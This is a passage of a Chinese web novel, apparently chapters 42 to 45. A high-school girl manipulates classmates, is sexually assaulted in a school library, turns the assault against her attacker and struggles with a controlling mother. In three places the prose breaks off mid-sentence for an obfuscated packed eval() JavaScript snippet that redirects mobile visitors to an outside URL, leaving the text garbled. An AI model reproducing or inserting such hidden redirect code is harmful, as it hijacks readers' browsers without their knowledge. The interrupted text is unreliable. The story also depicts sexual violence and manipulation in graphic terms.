你温柔地说:“不会太久。” - 于是,你和他的约会地点变成了书店、图书馆、自习室等等诸多公共场合。 只要进到这些地方,你就像换了个人似的,一头扎进练习题里,压根看都不看他一眼。 他但凡说点抱怨的话,你总笑着说:“我没你聪明,我得分秒必争学习才能撵上你。” 他被哄得眉开眼笑。 你甚至组织了一个学习互帮会,每个周日一边和方月华谈恋爱,一边带着他的跟帮们一起学习。 其他人到场不到场无所谓,那个矿老板儿子罗兴业必须到场。他靠一大笔赞助费才进的市一高,一来就被方月华盯上。 罗兴业有点怪,脑袋笨但爱学习。每天花大量的时间在学习上,成绩却总吊车尾。他之所以愿意跟在方月华屁股后面当血包,也是因为方月华说他有提高成绩的独门秘籍。 然而,方月华哪有耐心和精力全程辅导,不过是偶尔抽出时间讲两道题,剩下的就是让罗兴业自己背书,还美其名曰为先把基础打牢。 你出现后,罗兴业这才发现,原来学霸的确有一套系统清晰的学习套路,跟着你学,即便吃不上肉也能喝上汤。别的不说,至少每个周日,他坐在你身边学习,你一身沉浸式学习的正气把他熏得好似聪明了许多,更何况你总能言简意赅地指出他想不明白的地方。 罗兴业渐渐地把你当做偶像崇拜起来。见到方月华第一句话总会问:“咱家李老师呢?” 方月华刚开始不以为意,有人愿意教笨蛋,他高兴还来不及,然而没过多久,他厌倦了周日还要陪“女朋友”学习这件事,叫上罗兴业等人去网吧玩……结果向来言听计从的小跟班们说要参加学习互帮会。今天李老师要讲概率题的巧算方法。 方月华很不爽,可又在预料之中。毕竟学习很重要。 只是他穷,想买游戏装备,矿老板儿子眼力见强,直接塞给他一张百元大钞。 - 你从没有如此耐心过,也从没有这么开心过。 你撇开了那个冷漠、沉寂、孤傲,怨怼、浑身充满淡淡死感的李重,重新塑造了一个话少但礼貌,冷淡但真诚,积极向上的新李重。 你疯狂克制自己的戏谑情绪,慢悠悠地看着这群男孩子一点点对你改观想法,和你亲近起来。青春的热情把你包裹,你像干瘪的千年老妖一样吸收着他们的热闹和快乐…… 然而这毕竟不是真实的你。你演了两个月后,便厌倦了。 你开始收尾。 你先在罗兴业面前装白莲花,惴惴不安地说前段时间方月华竟然花了很多钱买游戏装备,还非要给你这个不玩游戏的也开了个号,搞了个什么情侣账号。还说方月华动不动送你昂贵礼物,你一拒绝他,他就生气。 你欲言又止,罗兴业见不得你这样,追着问你怎么了。 你面带忧愁,我见犹怜。 “我理想中的恋爱不是这样形式主义的东西和礼物。” “而且,我知道他没钱,钱都是你给他的,礼物也是你从家里拿的。他打肿脸充胖子,这样不太好。” “我一看到那些礼物就想起你,我这恋爱不是跟他谈的,倒像是跟你谈的……” - 没过多久,你又跑到方月华面前哭着说你母亲得了病要住院手术急需用钱。 你装作不知道他很穷,仰着一张可怜巴拉的脸问他借。 这钱又不是拿去享乐,是拿去救人,男朋友平常装得跟二五八万似的,动不动显摆自己有钱,这下总要出点血了吧。 你一直不停地哭,哭得方月华心烦意乱,他问:“你应该有亲戚的啊!他们总不能见死不救。” 你立马露出受伤的表情,“要是有亲戚愿意帮我们家,我还会只有校服穿?还会买不起卫生巾只能用卫生纸?还会睡在客厅地板上连个床都没有?我还会穷得只有吃饭钱,连给男朋友买礼物的钱都拿不出?” 方月华愣了愣,咬着牙说:“我给你钱,行吧?不用你还!” - 你是这场戏的导演。 你演得酣畅淋漓,这几个人也在你的指挥下在舞台上不停旋转,展露出更恶劣的一面。 那天,你躲在二楼的阳台上,往下窥视眼皮底下的这场“剑拔弩张”。 巷道里,方月华像往常一样,嬉皮笑脸问罗兴业要钱。 他也不说理由,也没觉得不好意思,就这么直白地伸手要钱。 罗兴业迟疑了,问他拿钱做什么。 方月华立马不高兴,甩出“好兄弟”这张牌,主打“以情压人”。 罗兴业也是有少爷脾气的。他不在乎钱,他结交方月华的目的就是为了能从他身上套点讨巧不费劲的学习方法和成套的学习材料。谁知道,他在方月华身上花了不少钱,却收效甚微。 他也两手一摊,说自己没钱。何况方月华这次问他要的是一大笔钱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14721072|152022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 你差点笑出声来,连忙捂住嘴继续看戏。 方月华压着火,说什么这次的钱会花在正处。 罗兴业立马反问他,那以前的钱花在不正经处? 方月华气得半死,一脚踢倒路边的垃圾桶,骂骂咧咧地转了一圈,而后居高临下地盯着罗兴业说:“你真不给?” 罗兴业比他矮,比他瘦,看起来确实经不起方月华的重拳。 他仰着脖子,坚定地摇摇头。 “你还想让我女朋友教你做题的话,就老老实实把这钱给我。” 罗兴业像被踩了尾巴似的,跳起来吼叫。 “李重真是瞎了眼才喜欢你。她不是你的傀儡,不是你的所有物。” 方月华觉察出味来了,嘿嘿笑了一声,“哎呦,行啊。喜欢上我女朋友了啊。” 你也饶有兴趣地看着罗兴业圆鼓鼓的脑袋,忍不住隔空伸出手指,像轻轻拨动地球仪似的,想把他的脸转过来,好仔细欣赏他……人类最可爱又最不值钱的样子。 “没,没有!怎么可能!朋友妻不可欺。”他急得甩出一个非常不合时宜的比喻。 你的脸瞬时冷下来,瞬时想掐在这蠢货的脖子上,把他掐死才好。 “你也知道李重是我的人。要是被她知道你对她暗怀龌龊的想法……你总不会每天晚上都想着她打飞机吧。”方月华越说越恶心,“不止李重不会再理你,其他同学也会孤立你,鄙视你,厌恶你。罗兴业,你完蛋了。” 罗兴业还是老实,这种事论迹不论心,即便他怀揣着什么想法,只要没舞到你面前,没有暴露在大家面前……他就可以仰着脸说自己是清白的。 然而,方月华太善于拿捏人心,几句话就把罗兴业搞得心态全崩。 大少爷嗷呜一声冲过去……还没碰上仇人就被狠狠踹在地上,爬都爬不起来。 - 你缓缓站了起来,看向巷道尽头。 没过多久,急促的脚步声由远及近,踏破了寂静。 “兴业!” “住手!别打了!” 你像听到了胜利的号角,也不躲了,也不藏了,施施然扶着栏杆睨着方月华。 方月华也看到了你。 一双眼瞬时淬染了红。 - “别跑!你哪个学校的!” “他怎么把你打成这个样子了!” “让你爸知道非打死我不可。” 罗兴业被一个穿得花枝招展的女人抱在怀里,像是被她浑身的香水味呛到般,顿时咳嗽起来。 “高倩。你离我远点。” - 你瞬时愣住,缓缓看向背对着你的姣好身影。 这么巧? 罗兴业姓罗。爸爸是矿老板。后妈长得漂亮异常,穿得花团锦簇,喷得香气逼人…… 可不就是缘分嘛。 撞上门来了。 - 你哼着歌回家。 何家巷幽长寂静,路灯把你的影子拉得又长又细。 那棵樱桃树被二楼透出来的光笼罩着。 母亲在家。 其实,她在不在家都一样。 一回来要么钻进主卧自言自语,要么钻回次卧补觉。 你们不像母女,更像室友……不,其实也不像。 即便室友也会客气地问一句:吃了吗? 她不会。 你怀揣着一丝丝计划即将得逞的隐秘开心上了楼。 刚打开门就听见母亲焦灼的叫声。 “李重!李重!” 你被吓到了,二话不说立马把腿撤回去,赶紧把门锁上。 母亲绝少呼唤“李重”这两个字。但凡她把吼出这两个字,就会有厄运降临。 像一句咒语。 你眨了眨眼睛,又把耳朵贴到门上。 她还在叫这两个字。 你咬着牙把门打开,劈头盖脸的骂声甩过来。 “叫你没听见?装聋吗?” “我快疼死了。躺这里半天动不了。” “你赶紧滚过来。” 你慢慢吞吞走过去,走到那个你从未能进入的次卧。 母亲就这么躺在床上,唯有两个胳膊拼命地挥舞着,妄图起身,却又被腰部的疼痛疼得龇牙咧嘴,只得放弃。 你闻到了尿骚味。 - 你知道自己终于“被需要了”。 43. 第43章 母亲得了急性腰间盘突出。 你拖着她一点点从床上爬起来,又一点点挪到出租车上,最后再一点点挪到医院的轮椅上。 你成了她的拐杖,她的仰仗。 若不是你,她会继续在那张床上沤出难闻的味道,疼得叫天不应叫地不灵,乃至渴死饿死。 她彼时身体所有的力量都搭在你的肩膀上,你累得浑身是汗,双腿打颤,无论护士还是医生见到你都忍不住跟你母亲说:“你可真幸福,有这么贴心的女儿。” 她幸福吗? 你贴心吗? 你们互相看了对方一眼,同时又木然转过脸去。 你们知道,只有在某些特殊情况下,这些才存在。 比如你们共同喜欢的老陀死了,比如想要你们共同讨厌的李朝贵赶紧去死,比如现在,你们终于有机会扮演母慈女孝。 只是,你高兴的同时却又隐秘地想让母亲病得再久一点。 - 所以当罗兴业出现在病房门口时,你突然想起你前几天为了收尾瞎编的理由。 又是一起“凑巧”,还是你的诅咒终于生效,你早盼着母亲赶紧躺床上,好让自己永远拥有她。 你把罗兴业带到走廊上,低声问他怎么来了? 他塞给你一个厚厚的信封,“你拿去用。” 你冷笑了一声。 “这钱是你挣的吗?” “就算是你挣的,我和你是什么关系?我凭什么用你的钱?” 罗兴业被你怼得面皮涨红,低声说:“方月华不是个好人。你别问他借钱……他会把你吃得连骨头都不剩。” 你看着他很想笑。 吃人不眨眼的罗老板是祖坟冒青烟了?还是被人戴了绿帽子?怎么生出这么一个心肠软还傻的儿子? 你咬着唇,装出一副害怕模样。 “他一直在逼我……” 罗兴业不明所以,“逼你什么?” 你抬起眼,又羞又恼地说:“还能是什么?” 罗兴业眨了眨呀眼睛,好半天才明白过来。他耳朵更红了,救美心思爆膨,“我家里人给我找了两个叔叔,专门保护我。你跟着我,肯定安全。” 你为难地说:“无功不受禄。我不能白白受你帮助。这钱我万万不能要……” 说到这里,你灵机一动,“我帮你复习功课吧。你帮我,我帮你,这样就公平了。” - 那天,又是凑巧。 临近放学时,大雨瓢泼,你从操场冲回图书室,已经湿了半身。 夏天校服本就薄透,鼓胀的内衣隐隐约约。 你狠狠打了个喷嚏,刚想找个什么东西擦拭下身上的水,一阵头,立马被一道高大阴影逼进了书架里。 是方月华。 他如蛰伏在暗处的野兽,终于找到了合适的下嘴机会,见你露出惊悚的表情,瞬时嘿嘿笑了起来。 图书室的钥匙在你手里,最近两周每天放学你都会在这里教罗兴业做题,有时候就他一人,有时候还有其他同学。 老师对此非常支持,把图书室钥匙交你保管。 今天是罗兴业的生日,昨天他便说今天家里人要给他举行隆重的生日宴。他本想请你参加,谁知你一口否决……这狗东西显然打听清楚了,早早躲在这里等你过来。 “怎么?见到是我,失望了?”他咬了咬后槽牙,慢条斯理地转身把窗帘拉上。 图书室立马幽暗下来。 你狠狠打了个冷颤。 “李重,你玩了我两回了。该算算总账了吧。” 你不说话,直直盯着他。 “你以为你是什么好东西?” 方月华想起自己最近一段时间过的狼狈日子就一肚子火。那些唯他马首是瞻的小跟班们都不和他玩了。要不是他学习好,是未来冲击重点大学的好苗子,他殴打罗兴业这件事肯定会被记大过,闹得全校皆知。 一想到连嘴都没亲过的“前女友”让他沦落至此,他体内的邪火从上冲到下,从下冲到上。 此刻你湿漉漉地站在他面前,被雨水浸润的可怜,与你脸上的惊恐交融在一起,他总算给自己的邪火找到一个去处。 你拔腿就跑。他一巴掌把你掀翻在地,随即扯住脖子,把你狠狠压在了书架上。 “往哪跑?”他的指腹从你的脸颊划过。 你的睫毛不停颤抖,想逃,可腿又软得厉害。 你招惹了不该招惹的人…… 你抖着嗓音说:“这,这里是学校。” 方月华长长哦了一声,“那咱们去开房?” 你别过脸,死死咬住唇。 他阴恻恻笑起来,“你知道吗?那些被我弄死的猫,就和你一样,怎么都养不熟。你给他们再多鱼啊虾啊,它们不会感恩,也不会像狗一样舔着你的手摇尾巴。该死!都该死!” “别碰我!” “把你的手拿开!放开我!” 你挣扎着,喊叫声,下一秒你的嘴巴被狠狠捂住。 他的额头碰着你的,嘴里的热气滚烫焦灼…… 你的两条腿不停踢着,书架上的书被震下来几本。 此时,放学铃响起,走廊外热闹非凡,无人注意到角落里的图书室正在发生的事。 他的手像毒舌一样钻进你的校服……你像垂死挣扎的小猫发出呜咽声,他越听越兴奋发狂。 你被他强行箍在怀里,起伏,磋磨,按压,一切都是糟糕又恶心的体感。 越过他的肩膀,你看到窗外人影晃动,有人在追逐打闹,有人急匆匆要往家赶。 多么常见又美好的一幕啊。 一墙之隔,在这个隐秘的角落,唯有你在奋力挣扎。 你闭上眼,悠悠闲闲地把口腔里的铁腥咽进去。 就像上次把宋景富额头的血舔进去一样,你迷恋这样的味道。 “别动!再动我就掐死你。” 你立马吓得傻住了,忘记了挣扎,忘记了喊叫。 方月华拍了拍你的脸,“乖。” - 你看到了它们。 它们盘踞在书架上,巨大的蛇尾不安地晃动着。两张和你一模一样的脸,正死死盯着你。 其中一个厉声说:“让我把他吞了。” 另一个则慢条斯理地说:“别急。再等等。等一等味道才更鲜美。” - 它们的竖瞳里倒影着方月华和你,他上下其手,你僵硬呆滞。 没关系,你还有灵魂。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14726181|152022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 你把它从身体抽出,漂浮在上空,俯视这场“以身饲虎”的表演。 真有趣啊。 你靠着这样的有趣又可以多活几个月。 - 就在方月华喘着气试图咬住你的嘴巴,补上过去两个月没吃到的“香N口”,你的笑容猝不及防跌入他的眼里。 - 其实也不能叫做笑。 从正面看,依然是一张麻木的放弃挣扎的脸,可换个角度,从侧面看,你的眉眼低垂着,唇角却浅浅勾起,整张脸立马变得不一样了……像俯视天地万物,明知厄运即将到来却又不避让的那种“惬意”。 方月华突然愣住了。 - 你仰起头,看向他,眼眶里全是泪。 你似乎很意外他的戛然停止,露出极为诱惑的可怜迷茫来。 就在这时,有人一脚踹开图书室的门。 方月华猛然转过头来,不敢置信地盯着你。 你伸出手把胸口的扣子迅速往下又解开两颗,轻声道:“怎么办?我好像又玩了你第三回哦。” - 接下来的戏十分好演。 你发出悲怆的尖锐哭声,死死抱住方月华不松手,喊着说:“求你,求你放过我。” 你的脸上是大大五个手指印,你的脖子上红痕刺目,你的衣服凌乱不堪。 你成了结结实实的受害者。 被逮住的方月华疯了般还想打你,被人死死摁住。 他从鼻孔里喷着怒火,大骂贱人贱人! 罗兴业脱了袜子塞进他的嘴里。 - 这件事果然如你所料般被学校低调处理了。 所有彼时在场的人都被勒令不许往外讲一个字。 你被几个男老师和女老师围着,他们沉着脸,如冷漠恐怖的高耸大山把你挤在中间,向你压下巨大阴影。 他们说,方月华还是个未成年的学生,一时冲动做错了事,学校会会立刻开除他,但不建议你报警。 他们说,女孩子的声誉最重要,他们这么做也是为了保护你。更何况你只是受到了一些轻伤,并未被实际侵犯。 他们说,考虑到你的家庭情况,今后两年学杂费免除,餐费和住宿费也免除。 他们说,市一高是黔北最好的高中,历史悠久,底蕴深厚,谁也不能往它脸上抹黑。 你把脸转向窗外,冷冷道:“不,我就要他坐牢。” - 校长把你母亲请来办公室,晓以大义,动之以情。 你母亲非常平静,像暴风雨来临前的片刻平和。 是一种假象。 校长心有戚戚,正准备再予以奖学金等诱惑时,他听见你母亲说:“校长,谁说我们要报警了?” - 校长把你叫过来。 你自认为了解母亲,可还是低估了她。 她一巴掌打在你的脸上,和还未消退的另一张被方月华打肿的脸形成了完美对称。 “谁让你谈恋爱的?” “你叫什么?” “你叫李重!” “这个名字是随意可以被玷污的吗?” - 你在校长震惊的目光下,突然笑出声来。 44. 第44章 李重啊。 你的身体里流淌着和哥哥一样的血,若论样貌的话,即使是异卵双胞胎,你也应该和他有八九分相像。母亲擅自把哥哥的名字赋予你,却不肯给予你相同的爱。 那你什么? 你是哥哥生命的延续,是母亲思念儿子的幽深寄托,是母亲认为她命苦的根源…… 你唯独不是你。 你这么大一个活人不如一个死人,就连名字也不是你的。 所以,你到底什么时候才能放下对母亲的执念? - 方月华再未出现。 宋景福却出现了。他把你堵在巷子尽头,红着眼质问你做了什么? 你神情漠然,“跟你有什么关系?” “你是不是故意和他谈恋爱?他为什么会突然转学?我就知道你不是故意不理我!” 他像一条被抛弃的大狗狗,终于再次遇到主人。仰着渴望被抚摸,被理会,被拥抱的可怜狗脸,想从主人的表情和神态上抠出“还爱他”的证据。 你轻轻叹了口气,“疯狗没有被乱棍打死,真是遗憾啊。” 他的双眸立马透出光来,却又瞬即暗淡下去。 “疯狗跑了之后,就少了很多乐趣呢。”你幽幽道。 宋景富低沉着声音质问,“我也是你的乐趣之一吗?” 你呵呵笑起来,“难道不是吗?” 大狗狗一拳打到墙上,指节瞬时渗出血来。 你饶有兴趣地看着他。 “李重。你到底有没有心?” “你那天亲了我……我以为,我们……” 你哦了一声,把他的手拽过来。 手很大,完全可以把你的手包裹起来。 但他的手没有任何茧子,干干净净,郁郁葱葱。 他含着泪看着你,看着你握住他的手腕,抚上他的手心,又把手翻过来,盯着指节处的血看了半天。 最后,他看着你把你的脸贴上去。 冰凉的触感让他不由浑身一颤,还未等他适应,你柔软滚烫的舌尖舔舐上来,细细的,慢慢的,一点点把渗出的血舔进口腔,吞进肚里。 “李重……” 他有了反应。哪怕此情此景如此诡谲,他还是有了反应。 你舔舐的样子像虔诚的圣徒,又像夜行的狐妖,他忍着难受不敢打断。 不知道过了多久,你终于舔干净了所有的血,抬起头时露出一声低不可闻的满足的喟叹,细长的脖子翘起,唇边还有一抹隐隐血色。 宋景富狠狠把你搂在怀里,在你的脖子,你的耳边,你的鬓角,拱着,亲着…… 你好似进入了吸血后的贤者时间,待反应过来时,他已经把你挤在墙上,有个地方硬的可怕。 你一把推开他,冷声道:“谁允许你亲我了?” 他一愣,随即又露出受伤的表情,呜呜咽咽地说:“你舔我……” 你擦了擦唇,“那又如何?” - 人类的恋爱和婚姻本就是一场悖论。刚开始都是新鲜的,甜蜜的,心动的,说了很多情话,做了很多傻事,也一定发了很多誓言,即便两人冲过各种障碍,结为夫妻,从此成为一家人,以为就能过上幸福生活吗? 渐渐消退的激情将一点点侵蚀所有的爱恋,如同漫长的潮湿,在看不见的地方长满了霉菌。这些霉菌会一点点霸占你的人生,腐朽着一切。 更何况,很多人还走不到婚姻这一步,在刚开始时便暴露出可怜的、浅薄的、无趣的本质,谈及的爱也名不副实。 既然知道结果终将如此,何必开始呢? - 宋景富只看到你眼中的不屑。 他以为你不屑的是他。 “李重,你以为你又有多好?” 他咬着牙,一字一句地在脑中搜刮肮脏的字眼砸你身上,好挽回点他可怜的自尊。 “你不过是个没爹疼没妈爱的可怜虫。没人对你好。只有我愿意陪你说话,陪你发疯……只有我掏心掏肺地对你好,你凭什么还敢嫌弃我?” “你他妈就是个胆小鬼,是个怂逼。你明明喜欢我,却不敢承认。因为你害怕受伤。那你活该一辈子没人爱,没人疼。因为你就是不配!” “你还说方月华是条疯狗?你也是!你能用什么方法逼他转学?把他赶走?你是个女孩子啊,有哪个女孩子像你这么贱,用自己的身体做诱饵?” “你以为我猜不到吗?” - 你无所谓。 是的。 不管宋景富爱你还是恨你,对你来说都是不足为虑的小事。 甚至连小事都算不上。 这个世界上唯一让你放不下执念的只有你的母亲。 除她之外,都无所谓。 - 宋景富骂完你后显然有些后悔,但你脸上依旧平平淡淡,好似他说再难听,甚至把你杀了,你也不会把眉头多皱一下。 他彻底失望了。 嘴巴张了又张,扭身冲进满是迷雾的夜里,再也没有回头。 - 从高二开始,你发现母亲突然对你“好”起来了。 她对你的好,自然不是传统意义上的好,是王庆芬式的好。 她刚开始时,总悄悄拉开她次卧的门,从门缝里盯着你看……看你趴在客厅的桌子上做题,看你边打哈欠边背书,看你边听“随身听”边在地上像虫一样扭来扭去。书包里的东西被她偷偷翻得乱七八糟。 没过几天,你往书包里塞了一张纸条,母亲于是大大方方地坐在你旁边盯着你看。 若是旁人的家庭,这一幕该多和谐啊。 但放在你家,母亲像探照灯一样试图把你的所有行为都囊括在她的眼皮底下,而你就像案板上的肉任她挑来挑去。 以前她的眼里没你,现在她的眼里全是你浑身上下不符合她要求的错误。 你用了红皮筋绑头发,是错误。 你内衣隐隐约约,是错误。 你和卖馄饨的老大爷多说一句话,是错误。 你发呆是错误,听歌是错误,闲逛是错误,晚回是错误,犟嘴是错误,一切的一切都是错误。 她终于亲自给你买新衣服了。但这些衣服全是黑白灰的低调颜色,款式也老旧宽大,一定要遮住你膨胀的胸部和臀部。 力争让你消隐在人群中。 - 这事要是放旁人身上早疯了。 你没疯。 或者你早都疯了,这些不过是餐前点心一样,对你来说并无任何压力。 你甚至从母亲诡异的挑剔和疯狂的掌控中感受到一点点“爱”。 这些“爱”让你有了真实的存在感。 你安静地接受母亲的一切安排。 同时你也无比清楚,母亲之所以这么做无非是不想你再有什么“出格”行为,玷污了哥哥的名字。 没关系。 这样的爱怎么就不算爱呢? - 高三时,你成绩依然很好。 班主任把你母亲叫过去谈话,提及你的成绩,她非常激动地说要是不出意外,你正常发挥考取全国排名前二十的大学没有一点问题。 你母亲表情淡然,“考啥都一样。” 班主任觉得你母亲很奇怪。要是其他家长早都高兴地握住她的手说感谢老师栽培,可她竟然说出“考啥都一样”? 能一样吗?肯定不一样啊。 鉴于你平常在学校的“怪异”表现,有这样一个“怪异”的母亲也属正常。 - 高三下学期刚开学没几天,你外婆病危,你和母亲两人匆匆赶回去…… 彼时,老太太气若游丝,躺在床上,挣扎着最后一口气一定要见到她放不下的两个人。 很久很久之后,你总在假设,若是你在外婆身边长大,会不会能咂摸出点开心来? 母亲哭得满脸都是泪,你也是。 外婆的手很糙,一只拉着你,另一只拉着你母亲。 她浑浊的眼里透着最后的一点光。 她说她要死了。 她说你母亲命苦,你也命苦,两个命苦的人以后要相依为命了。 - 送完葬回到市里。 夜深巷冷,唯有何家巷口的馄饨摊上还冒着最后一缕热气。 昏黄的灯光落在老爷子像虾子一样弓着的后背上。他不知道在这里摆摊多少年了,反正你搬过来后他一直都在。 他见过你孤寂的上学身影,见过你躲在阴影处的深夜徘徊,见过你站在金桂下面盯着花流眼泪,他看着你渐渐拔高,看到过曾经跟在你身后的宋景富,以及试图亲昵你却被你躲开的方月华。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14774307|152022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从来不问你什么,总在你如果他的摊位时,仰声问一句:“饿不饿?” 你若摇头,他就笑着说好。你若点头,他便赶紧给你做碗馄饨。 明明收的小碗的钱,却总把碗盛得满满的。 此刻,你和母亲肩戴黑纱再次路过他的摊位。 你瞥见母亲竟然停了脚,坐到长条凳子上,“两碗馄饨。” 你知道她讨厌一切男人,不管年长的还是年轻的,甚至连小男孩都讨厌,除了她生下来就没了呼吸的儿子。她总在背后疯狂咒骂那些来店里吃饭的男性食客,嫌弃他们体味臭,说话不检点,连一点饭钱都要赊欠,没本事却天天在她这个寡妇面前吹嘘…… 你有时候甚至歹毒地想:幸好哥哥没活下来,若是他活下来,也变成了男人惯有的模样,长成了男人惯有的品性,母亲还会如此爱他吗? 此刻,她刚丧母,还要带着你这个拖油瓶回到冷如冰窟的蜗居,按照你的推测,她今晚必然要钻进哥哥的房间大哭一场的,可她却平静地坐在她讨厌的地方,和讨厌的人说了话。 你有点害怕。这太不正常了。 一碗馄饨先上,母亲推到你面前,还帮你拿了一双勺子。 你眨了眨眼睛,心里更忐忑了。觉得下一秒她就要掀了这桌子,把滚烫的馄饨泼你脸上,然后指责你没良心的狗东西,外婆都去世了还吃得下去饭。 母亲见你发呆,眉头一皱,“你不是很喜欢这家馄饨?” 你抿了下唇,接过勺子,把头低垂下来。 馄饨怎么这么烫?把你烫得眼泪都飙出来了? 你偷偷用手背擦了擦,几乎把头塞进碗里。 - 高考前一周,母亲情绪明显很波动。 她当着你的面买了很多东西塞进哥哥的房间,不是学习用品就是小男孩的玩具。若是他活着,现在已经十八岁了,你敢笃定他肯定不喜欢奥特曼,也肯定不喜欢学习。 你冷眼旁观,非常平静。 母亲无处挥洒的母爱变成了克制不住的购买欲。 庆幸她只是这个毛病,若是被什么所谓大仙忽悠,花钱买符能见到哥哥的灵魂,或者花钱做法能送哥哥轮回到好人家,有个好身体,再把家里挂满铜镜葫芦宝剑符纸什么,怕是你会忍不住把家烧了。 幸好她的一切诡谲行为都掩藏在那个主卧里,好让你能如鸵鸟般维持最基本的脸面。 高考前一天,正当你该提前去看考场时,母亲躺在床上嚎叫不止,说她腰突又犯了。你把家里存的止疼药塞她嘴里,把止痛贴贴上,她还是喊疼,不得已你只得带着她去医院。 这种病,一切以病人的体感为主。她说疼,那必然是疼的。 折腾到半宿,母亲才停止了嚎叫,让你带她回家。 你才睡了三个小时便踏上了高考考场。 三天后,母亲又跟着你去学校对答案。 老师们满脸期待地等你报预估成绩,母亲也紧紧盯着你。 你平静地对完答案,说出比平时成绩还高十来分的总分时,所有人都欢呼起来。 唯有你母亲黑着脸,转身就走。 - 家里被砸得稀巴烂。 你站在门口,看着前两天还疼得爬不起来的母亲,此刻狠狠用脚踹着你的书,你的笔…… 她转过身来,整张脸狰狞着,满眼都是恨意。 你笑了笑,“怎么了?” 母亲把你扯进屋来,厉声质问。 “你考那么高,就是为了考远点对不对?” “你以为你考远点就能摆脱我吗?” “我是你妈!我让你干什么你就得干什么!” “我所有的不幸都是你带来的。你以为你考上好大学就能过上好日子吗?不可能!” “你要永远和我一起住在这个房子里,陪着你哥哥,陪着我!” 你被她的唾沫几乎淹没,她的话像刀一样一下一下插在你的胸口。 你笑了起来。 - 李重啊, 你终于走到这一天,终于可以逃脱母亲制造了十八年的牢笼,昂着头走出这个家。 你伸出手,轻轻抚在母亲的脸上。 “妈,放心。我不会离开你。” “最后一门考试,我没写哥哥的名字。 “我写了我自己的。” 45. 第45章 李重啊。 在高考试卷上写上李晶的名字,是你六岁时就在盘算的事。 当若干年后,当你一笔一划,在如此重要的场合,犯下这样一个玩笑式的“错误‘’时,你笑得乐不可支。 怎么办呢? 你当了一辈子的李重,就想在这样的时刻为“李晶”留下她曾经存在的证据。 你必须要做,也必然要做。 没过多久,所有人都知道你不知道抽什么风竟然在高考试卷上写错了名字。 你还自编了一个准考证号,在乱七八糟操作下,你的这门成绩为零。 你从全省前列跌落至刚擦一本线。 拿不到奖金的老师们气死了,竞争对手们乐死了。 你母亲则打了你一巴掌的同时,又把你紧紧抱在怀里。 - 你像一只活在幽深海里的怪物,不能见光,不能发声,只能沉默地在海底游荡。 曾经老陀带着你见过这样的天光,可他死了,死得太早,还未彻底照亮你的四肢百骸,便消失了。 终于有一天,你付出极大的代价,靠着自己冲出水面,看了一眼外面的天光,轻轻地吐口气,发出别人从未听过,自己也未听过的叫声……然而不过片刻,你又被拽回到海底,再次变回那只怪物。 你知道,你丑陋、愤怨、无趣,压根不适合暴露在鸟语花香中,存在于风霁月明中,唯有幽深海底才是你最终的归处。 所以你才回抱了母亲。 她说得对,你不配见光,不配发声,不配过上好日子。 - 你最终考取了省会大学。 你答应母亲,每周回家一趟。恋爱不谈,朋友不交,混到文凭后便回黔北找份工作,继续陪着她。 拿到录取通知书的那天晚上,你偷偷溜进很久没去的老房子。 何家巷周边最近在搞什么历史街区保护改造,这些长期无人居住的老房子从无人问津的角落被扒拉出来,被评为历史建筑。 他们还把你之前扯坏的钥匙重新换了新锁。 彼时,星高月皎,你翻墙进去。 草又长到了腰身处,蝈蝈声四处低伏,绿藤爬满坍塌了一半的墙。 你点起“气死风”灯,幽黄的光将天井与夜空连融在一起,好似谁在这里投射了一个小小舞台。 你铺上一层竹席,又在上面放了一方红色绒毯。 夏凉如水,绒毯旁是一篮你下午刚去高坪河旁采来的花花草草。 你躺下来,将身上的裙子褪掉。 白腻与艳红,冰凉与柔软,你扬起脖颈,天井上的那方小口好似与你的口串在一起,你呼,你吸,头顶那个小口也呼,也吸。 你是这个舞台唯一的表演者,以及唯一的观众。 你翻身趴着,弧线起伏。 夏风抚上来,你像刚生下来的赤诚的婴儿,脸上散发着未被这个世界玷污的松弛表情。 你耐心地用藤蔓编着花环,将不知名的野花点缀其上。 你以天为镜,戴在头上试了试,很合适。 接下来,你用舒卷的金银花缠上你的胸,在上面插上蓝色的五瓣霞草花和麦仙翁,肚脐处则放上一枚蓬勃的伞状蜂室花……最后你在最隐秘的地方放了鲜艳的剪秋萝。 若是你的生命就此停下,你身上铺满的花会将你看做最肥沃的土壤,将你的血肉和骨骼毛发,与最具包容的大地融在一起。 你会以芬芳的形式消匿于这个世界。 但还不到时候。 - 你垂眼看向从头到脚的一路繁花,手指一点点掠过,最后到达那个被母亲称为“贞洁圣地”的所在。 她先入为主地以为你会是个不知廉耻的荡|妇,总在你面前以各种形式威胁、恐吓、说教,生怕你哪天丢盔卸甲,哪天放弃守城,让恶心的男人闯入。 